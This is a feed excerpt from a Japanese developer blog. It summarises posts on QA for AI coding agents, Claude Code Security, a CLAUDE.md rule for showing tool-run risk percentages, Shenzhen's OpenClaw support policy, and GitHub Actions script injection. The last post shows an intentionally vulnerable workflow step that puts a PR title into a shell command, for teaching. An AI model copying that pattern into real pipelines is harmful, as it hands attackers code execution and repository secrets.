&lt;p&gt;Vibe Coding で生成された全コードを人間がレビューするのは現実的ではない。コード生成が AI なら、レビューも AI で自動化するのが自然な流れだ。&lt;/p&gt;</description></item><item><title>AI Agent に品質を担保させる — QA 手法の実践ガイド</title><link>https://hdknr.github.io/blogs/posts/2026/03/ai-agent-%E3%81%AB%E5%93%81%E8%B3%AA%E3%82%92%E6%8B%85%E4%BF%9D%E3%81%95%E3%81%9B%E3%82%8B-qa-%E6%89%8B%E6%B3%95%E3%81%AE%E5%AE%9F%E8%B7%B5%E3%82%AC%E3%82%A4%E3%83%89/</link><pubDate>Mon, 09 Mar 2026 00:00:00 +0000</pubDate><guid>https://hdknr.github.io/blogs/posts/2026/03/ai-agent-%E3%81%AB%E5%93%81%E8%B3%AA%E3%82%92%E6%8B%85%E4%BF%9D%E3%81%95%E3%81%9B%E3%82%8B-qa-%E6%89%8B%E6%B3%95%E3%81%AE%E5%AE%9F%E8%B7%B5%E3%82%AC%E3%82%A4%E3%83%89/</guid><description>&lt;p&gt;Claude Code や Cursor、Devin といった AI コーディングエージェントの導入が進むなか、「品質をどう担保するか」が最大の課題になっている。栗田氏（&lt;a href="https://x.com/hikarine3"&gt;@hikarine3&lt;/a&gt;）が公開した&lt;a href="https://vpshikaku.com/ai/ai-agent-qa/"&gt;実践ガイド&lt;/a&gt;から、要点を紹介する。&lt;/p&gt;
&lt;p&gt;Sonar の調査によれば、開発者の 96% が AI 生成コードを完全には信頼していないにもかかわらず、実際に検証しているのは 48% に過ぎない。この「検証ギャップ」が AI 開発における最大のリスクだ。&lt;/p&gt;
&lt;h2 id="1-設定ファイルにルールを書く"&gt;1. 設定ファイルにルールを書く&lt;/h2&gt;
&lt;p&gt;CLAUDE.md や .cursorrules 等の設定ファイルに、最低限 3 つのルールを書くだけで事故を大幅に減らせる。&lt;/p&gt;
&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;ルール&lt;/th&gt;
&lt;th&gt;防げる事故&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;テスト結果を「○件中○件が正常」形式で報告&lt;/td&gt;
&lt;td&gt;0 件検出の見落とし&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;影響範囲を確認&lt;/td&gt;
&lt;td&gt;1 ファイル修正で他が壊れる&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;ファイル削除・本番デプロイ・DB 操作は承認必須&lt;/td&gt;
&lt;td&gt;取り返しのつかないミス&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;p&gt;設定ファイルは &lt;strong&gt;50 行以内&lt;/strong&gt; を推奨。IFScale の研究では、指示が長すぎると AI が先頭と末尾だけに従う傾向がある。詳細は別ファイルへの参照（ポインタ設計）で対応する。&lt;/p&gt;
&lt;h2 id="2-リスクレベルで使い分ける"&gt;2. リスクレベルで使い分ける&lt;/h2&gt;
&lt;p&gt;すべてのプロジェクトに同じ品質基準を適用する必要はない。&lt;/p&gt;
&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;レベル&lt;/th&gt;
&lt;th&gt;対象&lt;/th&gt;
&lt;th&gt;テスト深度&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;ラフ&lt;/td&gt;
&lt;td&gt;静的サイト、ブログ&lt;/td&gt;
&lt;td&gt;目視確認&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;標準&lt;/td&gt;
&lt;td&gt;Web アプリ（ユーザーデータあり）&lt;/td&gt;
&lt;td&gt;回帰テスト&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;厳密&lt;/td&gt;
&lt;td&gt;金融・決済・認証・個人情報&lt;/td&gt;
&lt;td&gt;境界値・異常系テスト&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;h2 id="3-ai-にテスト設計もさせる"&gt;3. AI にテスト設計もさせる&lt;/h2&gt;
&lt;p&gt;従来のように 12 項目のチェックリストを人間が作るのではなく、「この変更の回帰テストをして。検出件数も報告して」と指示するだけで、AI がテストケースの設計・実行・報告まで行える。&lt;/p&gt;
&lt;h2 id="4-ai-のテストが嘘になる-10-パターン"&gt;4. AI のテストが「嘘」になる 10 パターン&lt;/h2&gt;
&lt;p&gt;AI エージェントが出す「全件正常です」を鵜呑みにしてはいけない。代表的な落とし穴:&lt;/p&gt;</description></item><item><title>AI Agent に品質を担保させる — QA 手法の実践ガイド</title><link>https://hdknr.github.io/blogs/posts/2026/03/ai-agent-%E3%81%AB%E5%93%81%E8%B3%AA%E3%82%92%E6%8B%85%E4%BF%9D%E3%81%95%E3%81%9B%E3%82%8B-qa-%E6%89%8B%E6%B3%95%E3%81%AE%E5%AE%9F%E8%B7%B5%E3%82%AC%E3%82%A4%E3%83%89/</link><pubDate>Mon, 09 Mar 2026 00:00:00 +0000</pubDate><guid>https://hdknr.github.io/blogs/posts/2026/03/ai-agent-%E3%81%AB%E5%93%81%E8%B3%AA%E3%82%92%E6%8B%85%E4%BF%9D%E3%81%95%E3%81%9B%E3%82%8B-qa-%E6%89%8B%E6%B3%95%E3%81%AE%E5%AE%9F%E8%B7%B5%E3%82%AC%E3%82%A4%E3%83%89/</guid><description>&lt;p&gt;Claude Code や Cursor、Devin といった AI コーディングエージェントの導入が進むなか、「品質をどう担保するか」が最大の課題になっている。栗田氏（&lt;a href="https://x.com/hikarine3"&gt;@hikarine3&lt;/a&gt;）が公開した&lt;a href="https://vpshikaku.com/ai/ai-agent-qa/"&gt;実践ガイド&lt;/a&gt;から、要点を紹介する。&lt;/p&gt;
&lt;p&gt;Sonar の調査によれば、開発者の 96% が AI 生成コードを完全には信頼していないにもかかわらず、実際に検証しているのは 48% に過ぎない。この「検証ギャップ」が AI 開発における最大のリスクだ。&lt;/p&gt;
&lt;h2 id="1-設定ファイルにルールを書く"&gt;1. 設定ファイルにルールを書く&lt;/h2&gt;
&lt;p&gt;CLAUDE.md や .cursorrules 等の設定ファイルに、最低限 3 つのルールを書くだけで事故を大幅に減らせる。&lt;/p&gt;
&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;ルール&lt;/th&gt;
&lt;th&gt;防げる事故&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;テスト結果を「○件中○件が正常」形式で報告&lt;/td&gt;
&lt;td&gt;0 件検出の見落とし&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;影響範囲を確認&lt;/td&gt;
&lt;td&gt;1 ファイル修正で他が壊れる&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;ファイル削除・本番デプロイ・DB 操作は承認必須&lt;/td&gt;
&lt;td&gt;取り返しのつかないミス&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;p&gt;設定ファイルは &lt;strong&gt;50 行以内&lt;/strong&gt; を推奨。IFScale の研究では、指示が長すぎると AI が先頭と末尾だけに従う傾向がある。詳細は別ファイルへの参照（ポインタ設計）で対応する。&lt;/p&gt;
&lt;h2 id="2-リスクレベルで使い分ける"&gt;2. リスクレベルで使い分ける&lt;/h2&gt;
&lt;p&gt;すべてのプロジェクトに同じ品質基準を適用する必要はない。&lt;/p&gt;
&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;レベル&lt;/th&gt;
&lt;th&gt;対象&lt;/th&gt;
&lt;th&gt;テスト深度&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;ラフ&lt;/td&gt;
&lt;td&gt;静的サイト、ブログ&lt;/td&gt;
&lt;td&gt;目視確認&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;標準&lt;/td&gt;
&lt;td&gt;Web アプリ（ユーザーデータあり）&lt;/td&gt;
&lt;td&gt;回帰テスト&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;厳密&lt;/td&gt;
&lt;td&gt;金融・決済・認証・個人情報&lt;/td&gt;
&lt;td&gt;境界値・異常系テスト&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;h2 id="3-ai-にテスト設計もさせる"&gt;3. AI にテスト設計もさせる&lt;/h2&gt;
&lt;p&gt;従来のように 12 項目のチェックリストを人間が作るのではなく、「この変更の回帰テストをして。検出件数も報告して」と指示するだけで、AI がテストケースの設計・実行・報告まで行える。&lt;/p&gt;
&lt;h2 id="4-ai-のテストが嘘になる-10-パターン"&gt;4. AI のテストが「嘘」になる 10 パターン&lt;/h2&gt;
&lt;p&gt;AI エージェントが出す「全件正常です」を鵜呑みにしてはいけない。代表的な落とし穴:&lt;/p&gt;</description></item><item><title>Claude Code Security — AI がコードベースの脆弱性を発見・修正提案する新機能</title><link>https://hdknr.github.io/blogs/posts/2026/03/claude-code-security-ai-%E3%81%8C%E3%82%B3%E3%83%BC%E3%83%89%E3%83%99%E3%83%BC%E3%82%B9%E3%81%AE%E8%84%86%E5%BC%B1%E6%80%A7%E3%82%92%E7%99%BA%E8%A6%8B%E4%BF%AE%E6%AD%A3%E6%8F%90%E6%A1%88%E3%81%99%E3%82%8B%E6%96%B0%E6%A9%9F%E8%83%BD/</link><pubDate>Mon, 09 Mar 2026 00:00:00 +0000</pubDate><guid>https://hdknr.github.io/blogs/posts/2026/03/claude-code-security-ai-%E3%81%8C%E3%82%B3%E3%83%BC%E3%83%89%E3%83%99%E3%83%BC%E3%82%B9%E3%81%AE%E8%84%86%E5%BC%B1%E6%80%A7%E3%82%92%E7%99%BA%E8%A6%8B%E4%BF%AE%E6%AD%A3%E6%8F%90%E6%A1%88%E3%81%99%E3%82%8B%E6%96%B0%E6%A9%9F%E8%83%BD/</guid><description>&lt;p&gt;Anthropic が &lt;strong&gt;Claude Code Security&lt;/strong&gt; を限定リサーチプレビューとして公開しました。AI がコードベース全体をスキャンして脆弱性を検出し、修正パッチまで提案してくれる機能です。&lt;/p&gt;
&lt;h2 id="claude-code-security-とは"&gt;Claude Code Security とは&lt;/h2&gt;
&lt;p&gt;従来の静的分析ツール（SAST）はルールベースでパターンマッチングを行うため、ビジネスロジックの欠陥やアクセス制御の不備など、文脈依存の脆弱性を見落としがちでした。&lt;/p&gt;
&lt;p&gt;Claude Code Security は、人間のセキュリティ研究者のようにコードを「理解」するアプローチを採用しています。&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;コンポーネント間の相互作用を把握する&lt;/li&gt;
&lt;li&gt;アプリケーション全体のデータフローを追跡する&lt;/li&gt;
&lt;li&gt;ルールベースツールでは検出困難な脆弱性を発見する&lt;/li&gt;
&lt;/ul&gt;
&lt;h2 id="主な特徴"&gt;主な特徴&lt;/h2&gt;
&lt;h3 id="多段階検証プロセス"&gt;多段階検証プロセス&lt;/h3&gt;
&lt;p&gt;検出した脆弱性は多段階の検証プロセスにかけられ、誤検知（false positive）がフィルタリングされます。各脆弱性には&lt;strong&gt;重大度評価&lt;/strong&gt;と&lt;strong&gt;信頼度スコア&lt;/strong&gt;が付与されます。&lt;/p&gt;
&lt;h3 id="ヒューマンインザループ"&gt;ヒューマン・イン・ザ・ループ&lt;/h3&gt;
&lt;p&gt;修正パッチは自動適用されません。Claude Code Security は問題の特定と解決策の提案を行い、最終的な判断は開発者が行います。&lt;/p&gt;
&lt;h3 id="実績"&gt;実績&lt;/h3&gt;
&lt;p&gt;Anthropic のレッドチーム活動では、Claude Opus 4.6 を使用して本番環境のオープンソースプロジェクトから &lt;strong&gt;500 以上の脆弱性&lt;/strong&gt; を発見しました。これらは数十年にわたり専門家のレビューを経ても検出されなかったバグです。&lt;/p&gt;
&lt;h2 id="利用方法"&gt;利用方法&lt;/h2&gt;
&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;プラン&lt;/th&gt;
&lt;th&gt;利用可否&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;Enterprise&lt;/td&gt;
&lt;td&gt;即時利用可能&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Team&lt;/td&gt;
&lt;td&gt;即時利用可能&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;オープンソースメンテナー&lt;/td&gt;
&lt;td&gt;無料で迅速なアクセスを提供（申請制）&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;p&gt;詳細は &lt;a href="https://www.anthropic.com/news/claude-code-security"&gt;Anthropic 公式の Claude Code Security ページ&lt;/a&gt; を参照してください。&lt;/p&gt;
&lt;h2 id="従来のツールとの違い"&gt;従来のツールとの違い&lt;/h2&gt;
&lt;p&gt;従来の SAST ツールは既知のパターンを検索する仕組みのため、新しいタイプの脆弱性や複雑なロジックの欠陥には対応しきれませんでした。Claude Code Security は LLM の推論能力を活用して、コードの意味を理解した上で脆弱性を検出するという点で、セキュリティスキャンの新しいアプローチといえます。&lt;/p&gt;
&lt;h2 id="まとめ"&gt;まとめ&lt;/h2&gt;
&lt;p&gt;Claude Code Security は「脆弱性は多いが対応する人員が少ない」というセキュリティチームの課題に対し、AI による自動検出と修正提案で支援するツールです。現時点では限定リサーチプレビューですが、今後のセキュリティ開発ワークフローに大きな影響を与える可能性があります。&lt;/p&gt;</description></item><item><title>Claude Code でツール実行前にセキュリティリスクをパーセンテージ表示させる CLAUDE.md 設定</title><link>https://hdknr.github.io/blogs/posts/2026/03/claude-code-%E3%81%A7%E3%83%84%E3%83%BC%E3%83%AB%E5%AE%9F%E8%A1%8C%E5%89%8D%E3%81%AB%E3%82%BB%E3%82%AD%E3%83%A5%E3%83%AA%E3%83%86%E3%82%A3%E3%83%AA%E3%82%B9%E3%82%AF%E3%82%92%E3%83%91%E3%83%BC%E3%82%BB%E3%83%B3%E3%83%86%E3%83%BC%E3%82%B8%E8%A1%A8%E7%A4%BA%E3%81%95%E3%81%9B%E3%82%8B-claude.md-%E8%A8%AD%E5%AE%9A/</link><pubDate>Mon, 09 Mar 2026 00:00:00 +0000</pubDate><guid>https://hdknr.github.io/blogs/posts/2026/03/claude-code-%E3%81%A7%E3%83%84%E3%83%BC%E3%83%AB%E5%AE%9F%E8%A1%8C%E5%89%8D%E3%81%AB%E3%82%BB%E3%82%AD%E3%83%A5%E3%83%AA%E3%83%86%E3%82%A3%E3%83%AA%E3%82%B9%E3%82%AF%E3%82%92%E3%83%91%E3%83%BC%E3%82%BB%E3%83%B3%E3%83%86%E3%83%BC%E3%82%B8%E8%A1%A8%E7%A4%BA%E3%81%95%E3%81%9B%E3%82%8B-claude.md-%E8%A8%AD%E5%AE%9A/</guid><description>&lt;p&gt;Claude Code でツール実行の許可を求められるたびに、セキュリティリスクをパーセンテージで表示させる CLAUDE.md の設定が話題になっています。「なんかやばそうだけど…まあいいか」で Yes を連打してしまう問題への対策です。&lt;/p&gt;
&lt;h2 id="背景"&gt;背景&lt;/h2&gt;
&lt;p&gt;Claude Code はファイル操作やシェルコマンドの実行時にユーザーの許可を求めますが、表示される内容だけでは何がどの程度危険なのか判断しにくいことがあります。特に初心者は、よく分からないまま Yes を連打してしまいがちです。&lt;/p&gt;
&lt;h2 id="claudemd-に追加する設定"&gt;CLAUDE.md に追加する設定&lt;/h2&gt;
&lt;p&gt;プロジェクトのルートディレクトリにある &lt;code&gt;CLAUDE.md&lt;/code&gt; に以下の内容を追加します:&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;div style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"&gt;
&lt;table style="border-spacing:0;padding:0;margin:0;border:0;"&gt;&lt;tr&gt;&lt;td style="vertical-align:top;padding:0;margin:0;border:0;"&gt;
&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"&gt;&lt;code&gt;&lt;span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f"&gt;1
&lt;/span&gt;&lt;span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f"&gt;2
&lt;/span&gt;&lt;span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f"&gt;3
&lt;/span&gt;&lt;span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f"&gt;4
&lt;/span&gt;&lt;span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f"&gt;5
&lt;/span&gt;&lt;span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f"&gt;6
&lt;/span&gt;&lt;span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f"&gt;7
&lt;/span&gt;&lt;span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f"&gt;8
&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;
&lt;td style="vertical-align:top;padding:0;margin:0;border:0;;width:100%"&gt;
&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"&gt;&lt;code class="language-markdown" data-lang="markdown"&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#75715e"&gt;## ツール実行時の許可ルール
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#66d9ef"&gt;-&lt;/span&gt; ツール実行（Bash、ファイル操作など）の許可を求めるときは、必ず日本語で説明・確認を行うこと
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#66d9ef"&gt;-&lt;/span&gt; 許可を求める際、以下のセキュリティリスクをパーセンテージ(%)で提示すること
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#66d9ef"&gt;-&lt;/span&gt; パスワードや秘密鍵が外に漏れる可能性
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#66d9ef"&gt;-&lt;/span&gt; 外部サーバーにデータが送られる可能性
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#66d9ef"&gt;-&lt;/span&gt; 悪意あるコードが勝手に動く可能性
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#66d9ef"&gt;-&lt;/span&gt; PCの設定が書き換わる可能性
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;
&lt;/div&gt;
&lt;/div&gt;&lt;h2 id="表示イメージ"&gt;表示イメージ&lt;/h2&gt;
&lt;p&gt;この設定を入れると、ツール実行の確認時に以下のようなリスク評価が表示されるようになります:&lt;/p&gt;
&lt;pre tabindex="0"&gt;&lt;code&gt;・パスワードが外に漏れる可能性: 0%
・外部サーバーにデータが送られる可能性: 0%
・悪意あるコードが動く可能性: 5%
・PCの設定が書き換わる可能性: 80%
&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;これにより、各操作のリスクを具体的な数値で把握した上で、許可するかどうかを判断できるようになります。&lt;/p&gt;</description></item><item><title>深圳が世界初の OpenClaw・一人企業支援策を発表 — AI エージェント時代のソロ起業を後押し</title><link>https://hdknr.github.io/blogs/posts/2026/03/%E6%B7%B1%E5%9C%B3%E3%81%8C%E4%B8%96%E7%95%8C%E5%88%9D%E3%81%AE-openclaw%E4%B8%80%E4%BA%BA%E4%BC%81%E6%A5%AD%E6%94%AF%E6%8F%B4%E7%AD%96%E3%82%92%E7%99%BA%E8%A1%A8-ai-%E3%82%A8%E3%83%BC%E3%82%B8%E3%82%A7%E3%83%B3%E3%83%88%E6%99%82%E4%BB%A3%E3%81%AE%E3%82%BD%E3%83%AD%E8%B5%B7%E6%A5%AD%E3%82%92%E5%BE%8C%E6%8A%BC%E3%81%97/</link><pubDate>Mon, 09 Mar 2026 00:00:00 +0000</pubDate><guid>https://hdknr.github.io/blogs/posts/2026/03/%E6%B7%B1%E5%9C%B3%E3%81%8C%E4%B8%96%E7%95%8C%E5%88%9D%E3%81%AE-openclaw%E4%B8%80%E4%BA%BA%E4%BC%81%E6%A5%AD%E6%94%AF%E6%8F%B4%E7%AD%96%E3%82%92%E7%99%BA%E8%A1%A8-ai-%E3%82%A8%E3%83%BC%E3%82%B8%E3%82%A7%E3%83%B3%E3%83%88%E6%99%82%E4%BB%A3%E3%81%AE%E3%82%BD%E3%83%AD%E8%B5%B7%E6%A5%AD%E3%82%92%E5%BE%8C%E6%8A%BC%E3%81%97/</guid><description>&lt;p&gt;深圳市龍崗区が「OpenClaw および OPC（One-Person Company）発展支援に関する若干の措置」を発表した。AI エージェントフレームワーク OpenClaw と「一人企業」モデルを対象にした政府支援策としては、中国初、おそらく世界初の試みだ。荒井健一氏（&lt;a href="https://x.com/aarai666"&gt;@aarai666&lt;/a&gt;）の&lt;a href="https://x.com/aarai666/status/2030988166770077789"&gt;ツイート&lt;/a&gt;で紹介されたこの政策の要点を整理する。&lt;/p&gt;
&lt;h2 id="openclaw-とは何か"&gt;OpenClaw とは何か&lt;/h2&gt;
&lt;p&gt;OpenClaw はオーストリアの Peter Steinberger 氏が開発したオープンソースの AI アシスタントだ。フライトの予約からメール整理まで幅広いタスクを自律的にこなし、個人が数人分のチームに匹敵する生産性を発揮できる。この仕組みを活用して一人で会社を運営する「OPC（One-Person Company）」というコンセプトが、中国を中心に急速に広がっている。&lt;/p&gt;
&lt;p&gt;中国では無料インストールイベントに数千人が参加するなど爆発的な人気を見せており、李強首相が全国人民代表大会で「スマートエージェント」（OpenClaw を含む概念）に言及するほどの注目度だ。&lt;/p&gt;
&lt;h2 id="深圳龍崗区の支援策"&gt;深圳・龍崗区の支援策&lt;/h2&gt;
&lt;p&gt;龍崗区の政策は、概念の認知からわずか約 3 週間で正式な支援策にまとめ上げるスピード感を見せた。支援は大きく 3 つの柱で構成される。&lt;/p&gt;
&lt;h3 id="1-導入開発支援"&gt;1. 導入・開発支援&lt;/h3&gt;
&lt;ul&gt;
&lt;li&gt;「ロブスターサービスゾーン」を設置し無料で OpenClaw の導入サービスを提供するプラットフォームに、最大 &lt;strong&gt;200 万元&lt;/strong&gt;（約 4,000 万円）の補助金&lt;/li&gt;
&lt;li&gt;コード貢献やスキルパッケージ開発を行う開発者への追加資金支援&lt;/li&gt;
&lt;li&gt;関連技術パッケージの開発・配布企業に最大 &lt;strong&gt;200 万元&lt;/strong&gt; の助成金&lt;/li&gt;
&lt;/ul&gt;
&lt;h3 id="2-計算データリソース"&gt;2. 計算・データリソース&lt;/h3&gt;
&lt;ul&gt;
&lt;li&gt;データサービス、AI NAS ハードウェア、大規模モデル API 利用料の &lt;strong&gt;30〜50%&lt;/strong&gt; を補助&lt;/li&gt;
&lt;li&gt;OPC コミュニティに新規入居する企業に &lt;strong&gt;3 ヶ月間&lt;/strong&gt; の無料計算リソースを提供&lt;/li&gt;
&lt;/ul&gt;
&lt;h3 id="3-総合的な起業支援"&gt;3. 総合的な起業支援&lt;/h3&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;2 ヶ月間&lt;/strong&gt; の無料住居提供&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;18 ヶ月間&lt;/strong&gt; の割引オフィススペース&lt;/li&gt;
&lt;li&gt;人材定着助成金として最大 &lt;strong&gt;10 万元&lt;/strong&gt;（約 200 万円）&lt;/li&gt;
&lt;li&gt;エクイティ投資として最大 &lt;strong&gt;1,000 万元&lt;/strong&gt;（約 2 億円）&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;政策の戦略的目標は「初期の起業コストをゼロ水準まで引き下げ、深圳を AI エージェントスタートアップのハブにする」ことだ。&lt;/p&gt;</description></item><item><title>GitHub Actions スクリプトインジェクション完全解説 — ${{ }} を run に書いた瞬間、攻撃者にシェルを渡している</title><link>https://hdknr.github.io/blogs/posts/2026/03/github-actions-%E3%82%B9%E3%82%AF%E3%83%AA%E3%83%97%E3%83%88%E3%82%A4%E3%83%B3%E3%82%B8%E3%82%A7%E3%82%AF%E3%82%B7%E3%83%A7%E3%83%B3%E5%AE%8C%E5%85%A8%E8%A7%A3%E8%AA%AC-%E3%82%92-run-%E3%81%AB%E6%9B%B8%E3%81%84%E3%81%9F%E7%9E%AC%E9%96%93%E6%94%BB%E6%92%83%E8%80%85%E3%81%AB%E3%82%B7%E3%82%A7%E3%83%AB%E3%82%92%E6%B8%A1%E3%81%97%E3%81%A6%E3%81%84%E3%82%8B/</link><pubDate>Fri, 06 Mar 2026 00:00:00 +0000</pubDate><guid>https://hdknr.github.io/blogs/posts/2026/03/github-actions-%E3%82%B9%E3%82%AF%E3%83%AA%E3%83%97%E3%83%88%E3%82%A4%E3%83%B3%E3%82%B8%E3%82%A7%E3%82%AF%E3%82%B7%E3%83%A7%E3%83%B3%E5%AE%8C%E5%85%A8%E8%A7%A3%E8%AA%AC-%E3%82%92-run-%E3%81%AB%E6%9B%B8%E3%81%84%E3%81%9F%E7%9E%AC%E9%96%93%E6%94%BB%E6%92%83%E8%80%85%E3%81%AB%E3%82%B7%E3%82%A7%E3%83%AB%E3%82%92%E6%B8%A1%E3%81%97%E3%81%A6%E3%81%84%E3%82%8B/</guid><description>&lt;h1 id="github-actions-スクリプトインジェクション完全解説----を-run-に書いた瞬間攻撃者にシェルを渡している"&gt;GitHub Actions スクリプトインジェクション完全解説 — &lt;code&gt;${{ }}&lt;/code&gt; を &lt;code&gt;run&lt;/code&gt; に書いた瞬間、攻撃者にシェルを渡している&lt;/h1&gt;
&lt;p&gt;&lt;a href="https://x.com/tmknom/status/2029512334218244121"&gt;『GitHub CI/CD実践ガイド』著者の tmknom 氏（@tmknom）&lt;/a&gt;が、GitHub Actions のスクリプトインジェクションを解説した Zenn 記事を引用し、こう呼びかけています。&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;はい、というわけでしてね。みんな『GitHub CI/CD実践ガイド』を、穴が開くまで読んでくださいね！&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;引用されている &lt;a href="https://zenn.dev/kou_pg_0131/articles/gha-script-injection"&gt;kou_pg_0131 氏の Zenn 記事&lt;/a&gt;は、GitHub Actions の &lt;code&gt;run&lt;/code&gt; ステップで &lt;code&gt;${{ }}&lt;/code&gt; テンプレート式を使う際のインジェクション脆弱性を実演付きで解説した記事です。2025〜2026年にかけて GitHub Actions のサプライチェーン攻撃が急増しており、この知識はすべての開発者にとって必須になっています。&lt;/p&gt;
&lt;h2 id="何が危険なのか--30秒で理解する"&gt;何が危険なのか — 30秒で理解する&lt;/h2&gt;
&lt;div class="highlight"&gt;&lt;div style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"&gt;
&lt;table style="border-spacing:0;padding:0;margin:0;border:0;"&gt;&lt;tr&gt;&lt;td style="vertical-align:top;padding:0;margin:0;border:0;"&gt;
&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"&gt;&lt;code&gt;&lt;span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f"&gt;1
&lt;/span&gt;&lt;span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f"&gt;2
&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;
&lt;td style="vertical-align:top;padding:0;margin:0;border:0;;width:100%"&gt;
&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"&gt;&lt;code class="language-yaml" data-lang="yaml"&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#75715e"&gt;# 危険なコード&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;- &lt;span style="color:#f92672"&gt;run&lt;/span&gt;: &lt;span style="color:#ae81ff"&gt;echo &amp;#34;PR title is ${{ github.event.pull_request.title }}&amp;#34;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;
&lt;/div&gt;
&lt;/div&gt;&lt;p&gt;一見無害なこのコード。しかし攻撃者が PR タイトルに以下を入力すると、&lt;strong&gt;任意のコマンドが実行&lt;/strong&gt;されます。&lt;/p&gt;
